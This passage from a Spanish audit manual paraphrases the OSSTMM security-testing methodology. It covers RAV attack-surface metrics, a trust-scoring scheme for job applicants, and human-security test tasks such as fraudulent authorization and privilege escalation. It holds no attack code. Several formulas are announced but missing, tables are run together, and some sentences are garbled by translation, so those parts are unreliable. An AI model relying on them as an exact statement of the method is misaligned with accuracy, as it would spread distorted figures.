mayor flexibilidad. El analista crea un camino único a través de la metodología
basada en el objetivo, el tipo de prueba, el tiempo asignado para la auditoría, y
los recursos aplicados a la prueba. Para una orquesta, el compositor escribe la
partitura para designar el orden y la duración de las notas, pero sólo el conductor
puede controlar la ejecución de la actuación. Esta metodología es como la
partitura, la designación de las pruebas necesarias, pero los controles de los
analistas el orden, la duración, así como la ejecución. La razón principal de que
requiera este nivel de flexibilidad en el OSSTMM se debe a que no existe una
metodología que pueda presumir con precisión las justificaciones de las
operaciones de puertas de enlace de canal en un blanco y su nivel adecuado de
seguridad. Más directamente, esta metodología no puede presumir de una mejor
la práctica, de llevar a cabo todas las pruebas y sus auditorías, puesto que la
mejor práctica se basa en una configuración específica de las operaciones. La
mejor práctica es mejor, sólo para algunos; generalmente el iniciador de la
práctica. Operaciones dictan cómo deben ofrecerse servicios y los servicios
dictan los requisitos para la seguridad operacional. Por lo tanto, una metodología
que se invoca de forma diferente para cada auditoría y por cada analista todavía
puede tener el mismo resultado final si el Analista completa la metodología. Por
esta razón, uno de los fundamentos de la OSSTMM es registrar precisamente lo
que no fue probado. Mediante la comparación de lo que se probó y la profundidad
de la prueba con otras pruebas, es posible medir la seguridad operativa (OpSec)
basándose en los resultados de la prueba. La aplicación de esta metodología
será clave, por tanto, cumplir con el objetivo que analista tenga datos suficientes
para responder a las tres preguntas siguientes que conforman el Trío, la
respuesta a OpSec necesita.
Una vez visto el complejo de los 4 procesos y vistas las tres cuestiones
fundamentales queda por exponer: como se han de combinar de forma efectiva
para lograr descubrir aquellos flancos, que presentan nuestros sistemas en
cuanto a seguridad se refiere.
Este es un problema que afecta a todas las industrias, pero ninguna tan
obviamente como la seguridad, por lo que el pensamiento de seguridad crítica
es tan importante.
Como técnica de análisis se puede reducir a 6 pasos simples para determinar
los resultados fácticos con un alto nivel de confianza para la corrección, incluso
cuando las soluciones no son lineales como cuando no hay conexión desde el
punto A al punto B.
Por lo tanto, la capacidad de validar las fuentes y La confianza de la medida es
crucial para hacer la inteligencia accionable apropiada fuera de pruebas. En
estos pasos, "objetivo" se refiere a lo que esté analizando en la preparación de
una prueba, ya se trate de personas, computadoras, edificios o procesos.
Los 6 pasos en cuestión son los siguientes:
1. Construir su conocimiento a partir varias fuentes evitando al mismo
tiempo la información comercialmente sesgada y especulativa.
2. Determinar el nivel global de experiencia para el tipo de objetivo y la
cantidad de información posiblemente conocida al respecto.
3. Determinar cualquier sesgo o motivos ocultos en las fuentes de
información.
4. Traducir jerga de fuentes de información a palabras similares o
conocidas para la comparación porque lo que puede sonar nuevo o
complicado, puede ser sólo un truco para diferenciar algo común.
5. Asegúrese de que el equipo de prueba ha sido calibrado correctamente
y el ambiente de prueba verificado, para asegurar que los resultados, no
están contaminados por la prueba misma.
6. Asegurar que el estado de traducción de las herramientas o de los
procesos de prueba ha sido tan alterado como sea posible para que los
resultados no provengan de las fuentes indirectas en un proceso o el pre
análisis de algunas herramientas.
Lo que es más importante entender aquí es cuando se hace una caracterización
no se preocupe, por estar en lo correcto. Es más importante tener razón sobre
estar equivocado o estar en lo correcto, lo que significa que se realizaron las
pruebas correctas para verificar la caracterización.
Entonces, si la caracterización es errónea, por lo menos sabemos con certeza
que está mal y puede volver a caracterizar. Así es como funciona el método
científico. No se trata de creer o confiar en su experiencia, no importa cuán
grande, pero en conocer los hechos que podemos construir.
Hay un lapso de tiempo cuando una prueba requiere máxima precisión; durante
un gran número de secuencias repetitivas. Generalmente, tendemos a crear
herramientas, para manejar este tipo de repetición, de cualquier forma, que no
siempre puede ser posible debido a la naturaleza dinámica de la prueba, como
al interactuar con personas, en lugar de máquinas u objetos inanimados. Para
los progresos de prueba, el probador puede usar intuición para hacer la
presunción, que la prueba será innecesaria. El analista debe pagar por la
atención especial que este tipo de pruebas requiere y debe buscar signos de
intuición por parte del probador.
La información transparente.
no necesita verse como un fracaso del probador más bien puede deberse
a la protección superior o un ataque que usa un costo grande de tiempo o
los recursos no posibles en una prueba. Ningún analista debería temer a
informar que algo es desconocido. Esto es un resultado poderoso más
propio para un análisis de riesgos.
seguridad exitosa requiere una prueba que se puede describir como la medición
de los vectores adecuados, mientras que la contabilidad de las inexactitudes y
tergiversaciones en los datos de la prueba recogida, así como las habilidades o
la experiencia de los profesionales de seguridad que realizan la prueba.
Las fallas en estos requerimientos resultan en mediciones de menor calidad y
falsas determinaciones de seguridad, por lo tanto, la métrica también debe ser lo
suficientemente simple, como para usarla sin que sea tan simple, que no diga
nada. Además, una métrica de seguridad adecuada debe evitar los sesgos
inherentes a las evaluaciones de riesgo, asegurando que las mediciones tienen
integridad. Estas cualidades se han combinado para crear los RAVs, una
descripción imparcial y objetiva de una superficie de ataque.
Conocer el RAV
El rav es una medida de escala de la superficie de ataque, la cantidad de
interacciones incontroladas contra un objetivo, que se calcula mediante el
equilibrio cuantitativo entre operaciones, limitaciones y controles.
Tener los RAVs es entender cuánto de la superficie de ataque está expuesta. En
esta escala, 100 rav (también se muestra como 100% rav por simplicidad de
comprensión, aunque no exactamente un porcentaje) es el equilibrio perfecto y
nada menos, estos son muy pocos controles y por lo tanto una mayor superficie
de ataque. Más de 100 rav demuestra más controles de los que son necesarios,
a su vez puede ser un problema, ya que los controles a menudo añaden
interacciones dentro de un ámbito, así como problemas de complejidad y
mantenimiento.
El rav no mide el riesgo para una superficie de ataque, sino que permite medirlo.
No se puede decir si un objetivo particular será atacado, pero puede decir dónde
un objetivo será atacado, qué tipos de ataques, como el blanco se puede
defender con éxito, qué tan profundo puede llegar un atacante y cuánto daño
puede hacerse. Con esa información es posible evaluar las contramedidas (y los
riesgos) con mucha mayor precisión.
El rav es en realidad múltiples cálculos separados de: porosidad, controles y
limitaciones, que cuando se combinan mostrará el tamaño de una superficie de
ataque de dos maneras prácticas. La primera forma es en un cálculo recto. Es el
cálculo del Delta, un número que describe la exposición específica de ese
objetivo. Esto es útil para determinar cómo una nueva persona, cosa o proceso
cambiará la seguridad operativa de un nuevo ámbito o como una comparación
entre varios objetivos individuales. Esta es también la forma más fácil de ver
Seguridad Perfecta, el perfecto equilibrio entre Porosidad, Controles y
Limitaciones. El rav se muestra como un número positivo o negativo que muestra
cuán lejos está el objetivo de un equilibrio perfecto de seguridad.
Un delta positivo muestra que se gasta demasiado en los controles en general o
incluso si el exceso de gastos es demasiado de un tipo de control. Un delta
negativo muestra una falta de controles o controles ellos mismos con limitaciones
que no pueden proteger adecuadamente al objetivo.
El rav requiere una prueba de seguridad para tener las cosas correctas contadas
y las operaciones correctas analizadas. Cualquier prueba de seguridad se puede
utilizar, pero la más completa y precisa de la prueba más los resultados
concluyentes serán. El rav fue diseñado originalmente para pruebas de
operaciones, como el OSSTMM, donde el auditor se centra en el comportamiento
del objetivo en lugar de la configuración. Sin embargo, los experimentos
muestran que es posible aplicar el rav a pruebas no operativas, así como en el
análisis de código estático para determinar el nivel de seguridad y complejidad
del software o en auditorías de lista de comprobación de seguridad física para
determinar el nivel de protección que un espacio físico proporcionará. El proyecto
SCARE (Evaluación del Riesgo de Análisis de Código Fuente) hace exactamente
esto aplicando los ravs al código fuente C.
El rav mínimo se hace por el cálculo de porosidad, que son los huecos, dentro
del alcance. El problema con la métrica dependerá generalmente en la
determinación por parte de los asesores en que estos tengan presente lo que
posiblemente no pueden conocer. Este problema no existe en el rav. Usted
trabaja lo que usted sabe que existe y está allí para un vector particular y usted
no hace suposiciones circundantes sobre lo que no está allí. Usted cuenta tan
cuál es visible e interactivo fuera del alcance y tiene en cuenta interacción sin
verificar entre otros blancos en el alcance. Eso se convierte en la porosidad.
Estas marcas de valor de porosidad la primera parte de 3 partes del valor final
del rav. La siguiente parte debe dar razón de los controles en el lugar por blanco.
Esto significa pasarse objetivo por objetivo y determinar dónde cualquier de los
10 controles está en su sitio como: la Autenticación, la Subyugación,
Repudiación, etc. Cada control es preciado como 10 % de un poro desde que
cada uno provea 1/10 de los controles totales necesitados para impedir todo lo
se conoce como un ataque tipo.
Esto es porque tener todos los 10 controles pues cada poro es funcionalmente,
así como cerrar el poro provisto los controles no tenga limitaciones. La tercera
parte del rav da razón de las limitaciones encontradas en la protección y los
controles. Estos están también conocidos como “vulnerabilidades”. El valor de
estas limitaciones viene de la porosidad y controles establecidos mismos. Con
todas las cuentas completadas, el rav básicamente sustrae porosidad y
limitaciones de los controles. Esto es más fácilmente hecho con el calculador
tabular del rav.
Los analistas también pueden crear una lista de verificación que ofrece controles
predeterminados para diferentes soluciones comunes encontradas. Estos son
todos los atajos para reducir el tiempo de cálculo, pero afectará al rav general
con un margen de error desconocido, pero tal vez aceptable.
El resultado final es un cálculo para la seguridad real. Aplica varios controles del
mismo tipo para satisfacer requisitos de doble imposición como la autenticación
de 2 factores. También utiliza Log10 para reducir números grandes en forma
manejable por humanos. A la gente en general le gusta trabajar con números
más pequeños y especialmente como porcentajes que son más fáciles de
visualizar. Para un alcance pequeño, la precisión de usar Log10 como una
técnica de reducción es insignificante. Sin embargo, si usted tiene un alcance
muy grande con muchos objetivos, puede que desee trabajar con los números
muy grandes para una mayor precisión. Además, si desea ver el equilibrio real
donde no se miden varios controles del mismo tipo, ese cálculo se puede
encontrar bajo el título de protección autentica.
Sin embargo, una vez calculado, múltiples ámbitos se pueden combinar juntos
en conjunto para crear una seguridad real que representa una visión más
completa de la seguridad operacional de todos los ámbitos.
Una vez que se completa cada prueba y se cuenta el rav pueden combinarse en
un cálculo de 150 objetivos, así como las sumas de cada limitación y control.
Esto proporcionará una métrica de seguridad real final, que es más completa
para esa red de perímetro que cualquiera de las dos pruebas proporcionaría por
sí sola. También sería posible añadir el análisis de seguridad física, inalámbrica,
telecomunicaciones y pruebas de seguridad humana de la misma manera. Tales
combinaciones son posibles para crear una mejor comprensión de la seguridad
total de una manera holística.
Calculadora de RAV
Una forma sencilla y sencilla de hacer ravs es usar las hojas de cálculo creadas
específicamente para calcular la superficie de ataque y las diversas métricas
requeridas por los usuarios de los datos de prueba. Esta hoja de cálculo está
disponible en el sitio web de ISECOM. El analista sólo necesita introducir los
valores en los casilleros blancos vacíos y el resto de los cálculos se realizarán
automáticamente.
Categoría Descripción
El número de objetivos en el ámbito. Cuente todas las
metas por índice sólo una vez y mantenga el índice de
forma consistente para todos los objetivos. En general es
poco realista tener más objetivos visibles que objetivos en
el ámbito definido; Sin embargo, puede ser posible debido
a hemorragias vectoriales donde un blanco que
Visibilidad
normalmente no es visible desde un vector es visible
debido a una configuración errónea o anomalía.
Una auditoría de HUMSEC emplea a 50 personas; Sin
embargo, sólo 38 de ellos son interactivos a partir del
vector de prueba y el canal. Esto haría una visibilidad de
38
Esto difiere de la visibilidad donde se está determinando
el número de objetivos existentes. Aquí, el auditor debe
contar cada acceso por punto de interacción único por
sonda única.
En una auditoria PHYSSEC, un edificio con 2 puertas y 5
ventanas que todas abiertas tienen un acceso de 7. Si
todas las puertas y ventanas están selladas, entonces es
un acceso de 0 ya que estos no son puntos donde se
puede entrar.
Para una auditoría COMSEC de redes de datos, el auditor
cuenta cada respuesta de puerto como un acceso
independientemente de cuántas maneras diferentes el
auditor puede sondear ese puerto.
Sin embargo, si un servicio no está alojado en ese puerto
(daemon o una aplicación), todas las respuestas
provienen de la pila IP. Por lo tanto, un servidor que
responde con una interactividad de SYN / ACK y servicios
Accesos
a sólo uno de los puertos TCP escaneados y con un RST
al resto no tiene un recuento de acceso de 65536 (incluido
el puerto 0) ya que 66535 de los puertos responden con el
Misma respuesta de RST del núcleo.
Para simplificar, contar sólo los puertos con respuestas de
servicio y sólo una respuesta Stack IP
independientemente del número de puertos que pueden
iniciar este tipo de interactividad.
Con las auditorías de HUMSEC, esto es mucho más
simplificado. Una persona que responde a una consulta
cuenta como un acceso con todos los tipos de consultas
(todas las diferentes preguntas que puede hacer o
declaraciones realizadas cuentan como el mismo tipo de
respuesta en el mismo canal). Por lo tanto, una persona
sólo puede ser un acceso de 1 por canal y vector. Sólo una
persona que ignora completamente la solicitud al no
reconocer el canal no se cuenta.
Controles
El siguiente paso en el cálculo del rav es definir los controles; Los mecanismos
de seguridad establecidos para proporcionar seguridad y protección durante las
interacciones.
Categoría Descripción
Cuente cada instancia de autenticación se requiere para
obtener acceso. Esto requiere que la autorización y la
identificación formen ambas partes del proceso para el uso
apropiado del mecanismo de autenticación.
Autenticación En una auditoría de PHYSSEC, si se necesita una tarjeta
de identificación especial y una exploración de impresión
de pulgar, para obtener acceso, a continuación, agregue
dos para la autenticación. Sin embargo, si acceso sólo
requiere uno u otro.
Cuente en cada instancia los métodos utilizados para
determinar la responsabilidad y asegurar la compensación
de todos los activos dentro del alcance.
Un ejemplo básico en PHYSSEC una señal de advertencia
que amenaza con procesar a los intrusos. Otro ejemplo
común es el seguro de propiedad. En un alcance de 200
Indemnización
computadoras, una póliza de seguro general contra robo
se aplica a todos los 200 y por lo tanto es un recuento de
200. Sin embargo, no confunda el método, con la falla en
el método. Una amenaza de enjuiciar sin la capacidad o la
voluntad de enjuiciar sigue siendo un método de
indemnización - sin embargo, lo es con una limitación
Cuente cada instancia de acceso o punto de confianza en
Subyugación el ámbito, en que estrictamente no permite que los
controles sigan la discreción del usuario o se originen
Limitaciones
Finalmente, las limitaciones serán verificadas donde sea posible. Los valores de
cada limitación dependen de la porosidad y de los controles. Esto es diferente
de la perspectiva de riesgo más común en la que una vulnerabilidad puede ser
asignada un nivel de riesgo basado en qué daño puede hacer, lo fácil que es
hacer y la distancia en el alcance del ataque. Por lo tanto, los valores de
limitación se calculan basados en la porosidad y los controles sobre el objetivo
final que se desea proteger.
Categoría Descripción
Cuente por separado cada falla o error que desafía las
protecciones mediante las cuales una persona o un
proceso puede acceder, denegar el acceso a otros u
ocultarse o los bienes dentro del alcance.
En PHYSSEC, una vulnerabilidad puede ser tan simple
como una puerta de cristal, una puerta de metal corroída
por el clima, una puerta que puede sellarse acuñando
monedas en el espacio entre ella y su marco, equipos
electrónicos, el no sellados de plagas como hormigas o
Ratones, una unidad de CD de arranque en un PC, o un
proceso que permite a un empleado tomar un basurero
lo suficientemente grande como para esconder o
transportar activos fuera del alcance.
En HUMSEC, una vulnerabilidad puede ser un sesgo
cultural que no permite que un empleado cuestione a
otros que parecen fuera de lugar o una falta de
entrenamiento que deja a una nueva secretaria para dar
información comercial clasificada para uso interno
solamente.
Vulnerabilidad En la seguridad de los datos COMSEC, una
vulnerabilidad puede ser una falla en el software que
permite a un atacante sobrescribir el espacio de memoria
para obtener acceso, una falla de cálculo que permite a
un atacante bloquear la CPU usando el 100% de la
capacidad de proceso un proceso vinculado a un archivo
que se copia en el disco hasta que no pueda funcionar
más.
En las telecomunicaciones COMSEC, una vulnerabilidad
puede ser una falla en el sistema de teléfono público, que
permite que los sonidos a través del receptor imiten gotas
de monedas, una cabina telefónica que permite a
cualquiera acceder a la línea telefónica de otra persona,
un sistema de correo de voz que proporciona mensajes
desde cualquier teléfono, o una máquina FAX que puede
ser consultada remotamente para reenviar lo último en la
memoria al número de la persona que llama.
En SPECSEC, una vulnerabilidad puede ser hardware
que puede ser sobrecargado y quemado por versiones
de mayor potencia de la misma frecuencia o una
La ecuación rav requiere que a cada una de las categorías se le asigne un valor
base logarítmico para escalar los tres factores de Seguridad Real de acuerdo
con el alcance
Cálculos en OpSec
La Fórmula de Controles
El siguiente paso en el cálculo del rav es definir los Controles de Pérdidas; Los
mecanismos de seguridad establecidos para proteger las operaciones. Primero
la suma de los Controles de Pérdida, LC suma, debe ser determinada sumando
las 10 categorías de Control de Pérdidas.
Los totales de control faltante resultantes para cada uno de los 10 Controles de
pérdidas deben agregarse para llegar al valor total de Control ausente (suma)
Verdaderos Controles
Controles completos por otro lado, tener en cuenta todos los controles en su
lugar, independientemente de una distribución equilibrada. Este valor es
importante para medir el valor de la autenticación de dos factores, por ejemplo,
y otras instancias de defensa en profundidad para la misma visibilidad, acceso o
confianza. El valor de la base Controles completos (base FC) se da como:
La verdadera protección
Seguridad Actual
Para medir el estado actual de las operaciones con controles aplicados y las
limitaciones descubiertas, se requiere un cálculo final para definir la Seguridad
Actual. Como lo implica su nombre, este es el valor de seguridad total que
combina los tres valores de seguridad operativa, controles y limitaciones para
mostrar el estado real de seguridad.
También son posibles puntajes por encima de 100, lo que significa que el alcance
probado tiene más controles implementados de lo necesario, lo que también
podría ser una prueba de exceso de gasto. La ecuación de rav final para
Seguridad Actual se da como:
Análisis de la confianza
Lo que nos permitiría tomar una decisión más racional y lógica. Sin embargo,
para cuantificar la confianza, necesitamos primero necesitamos comprender el
concepto en sí mismo.
La sociedad a menudo nos obliga a ser más confiados como individuos con el
fin de beneficiar a la sociedad en su conjunto ya veces a expensas de todos y de
la protección individual.
Básicamente, una persona acepta a los administradores del grupo como propios.
Esto es similar a la presión creada por los grupos sociales o políticos y los medios
de comunicación. La razón por la cual esto es ilógico es porque las experiencias
individuales de los demás, especialmente los extraños, son todas relativas y no
pueden verificar la confiabilidad consistente de los eventos futuros.
Las personas que a menudo confían en "su instinto" para tomar decisiones son
alabadas cuando tienen razón, como si tuvieran algún sentido secreto y
poderoso sobre otros seres humanos. Sin embargo, aparte de la suerte, algunas
personas son mejores en prestar atención a los detalles, ver micro expresiones
emocionales en las caras y aplicar la lógica rápidamente a situaciones comunes
que ellos mismos podrían no ser capaces de expresar verbalmente acerca de
cómo, sino que sienten lo que está mal. Estas personas aprendieron a hacer esto
naturalmente y construido sobre la experiencia llena de pruebas y errores no es
realmente obvio, para sí mismos más de lo que nadie nota los millones de
pequeñas decisiones que toman cada día y sus consecuencias.
Al crear las reglas de confianza, es importante tener en cuenta que las decisiones
de confianza no son lineales. No hay ningún edificio hacia la confianza en un
orden en particular o incluso un sistema de valores de esfuerzo donde se puede
determinar que un nivel requiere más esfuerzo que otro. En términos de
metodología, parece irracional cuando se calcula. La decisión de confiar, por lo
tanto, puede concluirse mediante una respuesta de las siguientes pruebas que
constituyen las reglas de confianza. Sin embargo, hacerlo es nuestra elección
consciente de hacer una confianza donde el cálculo específicamente dice que
no. Esto puede tener más sentido en una situación de vida o muerte donde el
resultado de la confiabilidad es muy bajo, pero el Valor de la Recompensa (la
vida de uno) es tan increíblemente grande que no se puede hacer otra elección.
1. Tamaño:
1.1. Calcular el solicitante dividido por el grupo total de solicitantes.
1.2. Calcular el número de personas que el solicitante parece saber en el
grupo dividido por el total de solicitantes del grupo total.
1.3. Calcule el número de empleados actuales que el solicitante conoce y
son "amigos" en esta posición y divídelo por el número total de empleados
en esta ubicación.
1.4. Registre el promedio de estos resultados.
2. Simetría:
2.1. El número de personas que el solicitante debe confiar para hacer su
trabajo en esta posición (incluido el solicitante) dividido por el número de
profesionales que deben confiar en el solicitante en este puesto.
3. Visibilidad:
3.1. El número de horas por día el solicitante trabajará solo, sin asistencia,
sin supervisión dividido por el número de horas de trabajo.
4. Subyugación:
4.1. El número de decisiones que el empleado hará diariamente,
independientemente, sin aportaciones, dividido por el número total de
decisiones que la posición normalmente requiere en un día.
4.2. El solicitante dividido por el número de miembros del equipo que el
solicitante trabajará diariamente.
4.3. Registre el promedio de estos resultados.
5. Consistencia:
5.1. El número total de meses que el solicitante no ha sido empleado
dividido por el total
Número de meses en que el solicitante ha estado en el mercado laboral y
es elegible para el empleo.
5.2. El número total de delitos conocidos divididos por la edad actual
menos de dieciocho años (o
La edad legal de un adulto en su región) del solicitante.
5.3. El número de referencias neutrales o negativas de empleadores
anteriores dividido por el total número de empleadores anteriores.
5.4. Registre el promedio de estos resultados.
6. Integridad:
6.1. El número de entregas que el solicitante debe producir o mostrar
semanalmente dividido por la semana de trabajo.
7. Compensaciones:
7.1. Cantidad de activos por valor que el solicitante tendrá acceso dividido
por un coste estandarizado de procesamiento y costo de recuperación.
8. Valor:
8.1. El ingreso mensual creado o guardado por el solicitante en la posición
dividido por el Coste del solicitante. (No medimos la cantidad pagada por
la posición en comparación con la nacional porque no existe una clara
correlación entre el grado de pago y la satisfacción en el trabajo evitando
que un empleado salga, robe o sabotee el lugar de trabajo.)
9. Componentes:
9.1. El número de procesos que requieren que el solicitante se divida por
el número total de procesos para la posición.
Cada ejemplo de un cálculo es hacer un porcentaje que será promediado con los
otros porcentajes de todas las propiedades de confianza para crear un valor de
confianza final. El valor final le dirá cuánto debe confiar al nuevo empleado. Las
reevaluaciones se pueden hacer regularmente para ver cuánto ha cambiado y si
esto debe influir en los permisos proporcionados al empleado, la tasa de pago u
otros bonos.
Proporcionar una medición precisa de dónde deben estar los controles. esto
puede compararse con la seguridad, para detectar las deficiencias que afectan
las medidas de protección actuales, así como los planes de seguridad futuros.
En última instancia, el analista utilizaría las métricas de confianza en lugar del
análisis de riesgos, para obtener un medio más preciso de del grado de
protección de un determinado ámbito.
Flujo de trabajo
Para el Analista, esto es simplemente: usted sabe lo que necesita hacer, lo hace,
y luego verifica lo que ha hecho.
Esta metodología separa lo que hay que hacer en este formato jerárquico:
1 CANAL
2. MÓDULO
3. TAREA
Por lo tanto, para todos los objetivos, el analista debe anticipar la necesidad de
definir una auditoría para incluir múltiples canales. A veces sólo bajo
investigación se hará evidente si el alcance contiene objetivos bajo un canal en
particular o si el analista se perderá objetivos sólo disponibles bajo otros canales.
Esta metodología se aplica a los cinco canales. Tiene 17 módulos y todas las
mismas propiedades se aplican a los cinco canales. Aunque la metodología
misma puede ser la misma, cada canal difiere en las tareas. Cada módulo tiene
una entrada y una salida. La entrada es la información utilizada para realizar
cada tarea. La salida es el resultado de tareas completadas. Esta salida puede
o no ser inteligencia (datos analizados) para servir de entrada para otro módulo
y esta salida puede servir además como entrada para más de un módulo o
sección.
Además, las tareas sin salida no necesariamente indican una prueba inferior;
Más bien, pueden indicar una seguridad superior. En detalle, las tareas que no
tienen salida resultante pueden significar cualquiera de las cinco cosas
siguientes:
En el OSSTMM, cada módulo comienza como una entrada y termina como una
salida exactamente por la razón de mantener el sesgo mínimo. Por lo tanto, cada
tarea da una dirección de lo que debe ser revelado para pasar a otro punto dentro
de la metodología.
El tiempo de prueba con los módulos es relativo al plan. Por ejemplo, si el analista
prueba la seguridad física de una puerta, entonces la prueba tendría al menos
dos vectores: la seguridad funcional de la puerta desde el exterior de la
habitación al interior, y luego desde el interior de la habitación hacia el exterior.
Metodología de Flujo
Escenario 1
por todas las técnicas descritas por tareas en la metodología, entonces las
pruebas se han completado. Si no es así, entonces las pruebas aún no
realizadas deben ser guardia diferente con diferentes resultados como diferentes
personas se comportan de manera diferente.
Si bien esto puede parecer un problema humano, no lo es. Una puerta o una
ventana se abren con demasiada frecuencia permanecerá dañado hasta que sea
reemplazado. El uso físico siempre da como resultado un deterioro físico. Incluso
en las comunicaciones por cable, el acto de fisgonear el tráfico causará retrasos
(a veces perceptible) o cambiar el consumo de energía, ya sea directa o indirecta
ya menudo variada resultados.
Módulos de Prueba
Cada fase presta una profundidad diferente a la auditoría, pero ninguna fase es
menos importante que otra en términos de Seguridad Actual.
A. Fase de inducción.
B. Fase de Interacción
C. Fase de la investigación
D. Fase de intervención
Estas pruebas se centran en los recursos que los objetivos requieren. Esos
recursos pueden cambiarse, combinarse sobrecargarse o morirse de hambre
para causar penetración o interrupción. Esta es a menudo la fase final de una
prueba de seguridad para asegurar que las interrupciones no afectan a las
respuestas de las pruebas menos invasivas y porque la información para realizar
estas pruebas puede no ser conocida hasta que se hayan realizado otras fases.
Una Metodología
Poner todos los módulos juntos proporciona una metodología para conocer y
trabajar. Esta es una metodología que es aplicable a todos y cada uno de los
tipos de pruebas de seguridad. Ya sea que el objetivo sea un sistema particular,
una ubicación, una persona, un proceso o miles de ellos, esta metodología
asegurará la prueba más completa y eficiente posible.
Consideraciones:
Los estudios iniciales de la postura incluyen las leyes, la ética, las políticas, las
regulaciones de la industria y la cultura política que influyen en los requisitos de
seguridad y privacidad. Esta revisión forma una matriz a la cual las pruebas
deben ser mapeadas.
7.1.1 Política
Revisar y documentar la política organizacional apropiada en cuanto a
seguridad, integridad y privacidad. .Responsabilidades del personal en el
ámbito de aplicación.
7.1.2 Legislación y reglamentos
Revisar y documentar la legislación regional y nacional apropiada y las
regulaciones de la industria.
7.2 Logística
7.2.2 Comunicaciones
Comprobar qué idiomas, se utilizan dentro del ámbito de aplicación, entre
el ámbito de aplicación y los clientes, socios y revendedores fuera del
ámbito.
7.2.3 Tiempo
Prueba para el huso horario, las vacaciones y los horarios de trabajo para
varios roles y trabajos.
7.3.3 Supervisión
Comprobar si el personal de soporte puede responder a las solicitudes
sin la confirmación de un supervisor o personal similar.
Pruebas para verificar que sólo las personas autorizadas dentro de su área
tienen acceso a los recursos físicos y lógicos que están definidos por las normas
de seguridad.
7.7.1 No repudio.
Enumerar y probar las insuficiencias del personal para registrar
adecuadamente el uso inadecuado de los recursos de cualquier clase o
tipo. Activos específicos para lograr evidencia específica mediante desafío
al repudio. Documente en profundidad de la interacción que se registra.
7.7.2 Confidencialidad.
Enumerar y probar el uso o las deficiencias de todos los segmentos de
comunicación con el personal dentro del alcance o sobre un canal o
propiedades transportadas sobre un canal, usando líneas seguras,
incluyendo cifrado para evitar interacciones personales y proteger la
confidencialidad de los Activos o de la Información que debe ser solo
accesible por el personal autorizado y acreditado a tal fin o propósito.
Documente en profundidad de la interacción que se registra.
7.7.3 Privacidad.
Enumerar y probar el uso la inadecuación de todos los segmentos de
comunicación con el personal dentro del alcance específico sobre un
canal de comunicaciones o propiedades transportadas usando firmas
individuales específicas, identificación personal, silenciosa para proteger
la privacidad de la interacción y del proceso de proporcionar activos, sólo
a aquellos dentro de la seguridad autorizada para este proceso de
información o sobre activos físicos. Documente en profundidad de la
interacción que se registra.
7.7.4 Integridad.
Enumerar y probar las insuficiencias en todos los segmentos de la
comunicación con el personal dentro del alcance especifico donde los
activos se transportan a través de un canal de comunicaciones utilizando
un proceso documentado, firmas, encriptación, Hashes o marcas para
7.8.1 Mantenimiento.
Examinar y documentar la oportunidad, la idoneidad, el acceso y el
alcance de los procesos para la notificación y seguridad de todo el
personal con respecto a la seguridad operativa, la Seguridad en general y
control de pérdidas.
7.8.2 Desinformación.
Determinar hasta qué punto las notificaciones de seguridad del personal
y las noticias de seguridad, pueden ser alteradas con desinformación.
7.8.4 Indemnización.
Documentar y enumerar el abuso o la existencia de una política evasiva
de los empleados, respecto a la responsabilidad frente a seguros, no
divulgación, no competencia, etc.
7.10.1 Compartir.
Verifique en qué medida las licencias individuales, privadas, son
compartidas entre el personal intencionalmente a través a través
bibliotecas de forma involuntaria, producto de una mala administración
de licencias y recursos o negligencia.
7.11.3 Divulgación.
Examinar y documentar tipos de revelaciones de activos de información
privada por parte de los responsables de esta segregación de acuerdo
con la política y las regulaciones que no puede contradecir las leyes
locales, nacionales y por supuesto las reconocidas por el Derecho
internacional.
7.11.4 Limitaciones.
Examinar y documentar tipos de accesos físicos habilitados para
personas con limitaciones físicas dentro de esa instalación.
7.12.2 Perfiles.
Verifique que la organización, disponga de todos los tipos de perfiles
vinculados a los diferentes puestos de los empleados, con las
correspondientes las escalas de información.
7.15.1 Identificación.
Examinar y documentar el proceso para obtener la identificación a
través de medios legítimos y fraudulentos en todos los canales.
7.15.2 Autorización.
Verificar el uso de autorización fraudulenta en todos los canales para
obtener privilegios similares a los de otro personal.
7.15.3 Escalamiento.
Verificar y mapear el acceso a los activos mediante el uso de
privilegios para obtener privilegios más altos o más amplios más allá
de lo que se designa autoritariamente para el rol.
7.15.4 Discriminación.
Verificar la información solicitada y los privilegios otorgados por los
guardianes en los casos en que la edad (específicamente aquellos
que son legalmente menores para la región), el sexo, la raza, la
costumbre / cultura y la religión son factores que pueden ser
discriminados de acuerdo con la revisión de la política reglamentos.
7.15.5 Subyugación.
Enumerar y probar las insuficiencias de los activos comunicados a
través de canales en los que no se requieren dichos controles,
pueden ser eludidos o ignorados, como correo electrónico inseguro
o una línea telefónica pública.
Página 344 de 430
Manual de Auditoria para no Auditores
7.16.1 Resiliencia.
Enumerar y probar las insuficiencias en todos los canales del
personal dentro del ámbito por el cual la remoción o el silencio del
personal de la pasarela permitirá el acceso directo a los activos.
7.16.2 Continuidad.
Enumerar y probar las insuficiencias de todo el personal con
respecto a los retrasos en el acceso y el tiempo de respuesta del
servicio a través de personal de respaldo o medios automatizados
para el acceso al personal alternativo de la pasarela.
7.16.3 Seguridad.
Elaborar y documentar el proceso de desvinculación de los canales
por motivos de evacuación o preocupaciones de seguridad como
un análisis de lagunas con la regulación y la política de seguridad.
7.17.1 Alarma.
Verificar y enumerar el uso de un sistema de advertencia, registro
o mensaje de localización o ámbito de alcance para cada pasarela
de acceso sobre cada canal en el que el personal sospeche que
hay sospechas de intentos de elusión, ingeniería social o actividad
fraudulenta.
Consideraciones.
2. Ecce hora: Todas las pruebas físicas requieren una gran atención al tiempo.
Se deben mantener registros del tiempo en que se realiza la prueba, el tiempo
en el objetivo y el tiempo en que la prueba finaliza, con éxito o no, porque también
ayudará a determinar lo que se puede lograr dentro del intervalo de tiempo para
fallar. Conocer tal información puede ayudar a entender lo que puede ser un
ataque engañoso para asegurar recursos No se desperdician en una zona
dejando otra abierta.
6. Sui generis: Toda interacción con las barreras físicas dejará un registro de
esta interactividad y, en casos más extremos, puede debilitar o destruir la
barrera. El analista debe tener cuidado al probar objetivos de un tipo que no sean
reemplazables. El analista también debe tener cuidado de no dejar marcaciones
permanentes donde sea posible y mantener un registro de todas las barreras
probadas para verificar si hay daño después de la auditoría.
Los estudios iniciales de la política incluyen las leyes, la ética, las políticas, las
regulaciones de la industria y la cultura política que influyen en los requisitos de
seguridad y privacidad para el ámbito. Esta revisión forma una matriz a la que
Las pruebas deben ser mapeadas, pero no restringidas.
8.1.1 Política.
Revisar y documentar la política organizacional apropiada con respecto
a la seguridad, la seguridad, la integridad (es decir, cadena de
suministro) y requisitos de privacidad para las barreras en el ámbito.
8.1.3 Cultura.
